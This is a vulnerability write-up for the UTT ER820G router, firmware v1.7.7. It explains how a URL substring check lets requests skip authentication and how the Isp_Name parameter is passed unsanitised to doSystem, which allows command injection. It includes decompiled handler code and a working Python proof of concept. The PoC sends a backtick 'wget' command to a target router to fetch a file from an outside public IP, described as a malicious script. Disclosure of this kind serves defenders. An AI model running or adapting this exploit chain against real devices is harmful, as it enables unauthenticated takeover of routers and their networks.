UTT ER820 Unauthorized RCE Vulnerability

Product Information

```
Brand: UTT
Model: ER820G
Firmware Version: nv510v5v1.7.7
Official Website: http://utt.com/
Firmware Download URL:
```

Affected Component

```
formReleaseConnect function in the goahead binary
```

Suggested description

UTT ER820 v1.7.7 has an unauthenticated arbitrary command execution vulnerability

Vulnerability Details

```
int formDefineIsp()
{
  websAspDefine("aspIspRunningConfig", aspIspRunningConfig);
  websAspDefine("OutputConnNum", sub_452B14);
  websAspDefine("Output3GConfig", sub_452978);
  websAspDefine("Output4GConfig", sub_452B38);
  websAspDefine("aspFastConfigPopWelcome", sub_45273C);
  websAspDefine("aspFastConfigNet", sub_4527A4);
  websAspDefine("aspWanConfig", sub_453628);
  websFormDefine("formWanIfConfig", sub_452018);
  websFormDefine("formConfigFastDirection", sub_452620);
  websFormDefine("formReleaseConnect", sub_451284);
  websFormDefine("formReConnect", sub_451468);
  websFormDefine("formRoadDel", sub_4515C4);
  websFormDefine("formFastConfPop", sub_453518);
  websFormDefine("FastConfFirstLoad", sub_453470);
  return websFormDefine("getGwMac", sub_454164);
}
```

The program uses the `strstr` function to check whether the requested URL contains `/goform/formWebAuthUserSubmit`; as long as the string is detected in the requested URL, it will directly invoke the `websFormHandler` to process the corresponding routing request.

```
  || IsWebAuthWeb(a1) == 1 )
{
  return websDefaultHandler(a1, a2, a3, a4, a5, a6, a7);
}
v15 = a1[45];
if ( strstr(v15, "/goform/formWebAuthUserSubmit") || strstr(v15, "/goform/formWebAuthOk") )
  return websFormHandler((int)a1, a2, a3, a4, a5, (int)a6, a7);
if ( strstr(v15, "/images")
  || strstr(v15, "gif")
  || strstr(v15, "favicon.ico")
  || strstr(v15, "/WebAuth_message.asp")
  || strstr(v15, "/js")
  || strstr(v15, "/lang") )
{
```

websSecurityHandler

Therefore, we can construct the following URL request to access the URLs requiring authorization.

```
goform/xxxxxx/goform/formWebAuthUserSubmit
```

```
int formDefineSettingsConf()
{
  websFormDefine("formResetSettings", sub_450DB4);
  websFormDefine("formRefreshSettings", sub_450F20);
  websFormDefine("formUploadSettings", sub_450F40);
  return websFormDefine("formExportSettings", sub_4510C8);
}
```

This vulnerability is located in the formReleaseConnect route of the formDefineIsp function. It receives the Isp_Name parameter passed from the frontend and directly concatenates it into subsequent execution, causing command injection, as shown in the figure. The frontend receives the Isp_Name parameter and then directly hands it over to the doSystem function for execution.

```
1  int __fastcall sub_451284(int a1)
2  {
3    const char *Var; // $s1
4    int v3; // $v0
5    int InstPointByIndex; // $v0
6    int v5; // $s0
7    int v6; // $s2
8    const char *v7; // $a1
9    int v9; // $v0
10   int v10; // $v0
11   const char *v11; // $a1
12
13   Var = (const char *)websGetVar(a1, "Isp_Name", "");
14   if ( *Var )
15   {
16     v3 = strtol(Var, 0, 10);
17     InstPointByIndex = ProfGetInstPointByIndex(1, v3);
18     v5 = *(_DWORD *)(InstPointByIndex + 20);
19     v6 = InstPointByIndex;
20     v7 = Var;
21     if ( v5 != 2 )
22       goto LABEL_3;
23   }
24   else
25   {
26     Var = (const char *)websGetVar(a1, "PortName", "");
27     v9 = strtol(Var, 0, 10);
28     v10 = ProfGetInstPointByIndex(1, v9);
29     v5 = *(_DWORD *)(v10 + 20);
30     v6 = v10;
31     v7 = Var;
32     if ( v5 != 2 )
33     {
34 LABEL_3:
35       if ( !v5 )
36         doSystem("udhcpc-down.sh %s", Var);
37       return websRedirect(a1, "WANConfig.asp");
38     }
39   }
40   doSystem("ppp-off %s", v7);
41   v11 = Var;
42   if ( *(_DWORD *)(v6 + 132) != v5 )
43     doSystem("wan.sh %s", Var);
44   sleep(2, v11);
45   return websRedirect(a1, "WANConfig.asp");
46 }
```

Attack

Using the following POC, we can achieve arbitrary command execution, such as making the targeted router download a malicious script from the public internet.

POC

```python
import requests
import sys
print("UTT Goahead cmd injection vulnerability\n")
def cmd_injection(url):
    cmd='Isp_Name=`wget http://101.43.41.74:8000/test`'       # Public server
    resp=requests.post(url,data=cmd,verify=False,timeout=3)
try:
    url='http://{}:{}/goform/formReleaseConnect/goform/formWebAuthUserSubmit'.format(sys.argv[1],sys.argv[2])
    try:
        cmd_injection(url)
        print('[%s]'%sys.argv[1]+'  success!')
    except:
        print('[%s]'%sys.argv[1]+'  failed!')
except:
    print('usage: python cmd_injection.py [ip] [port]')
```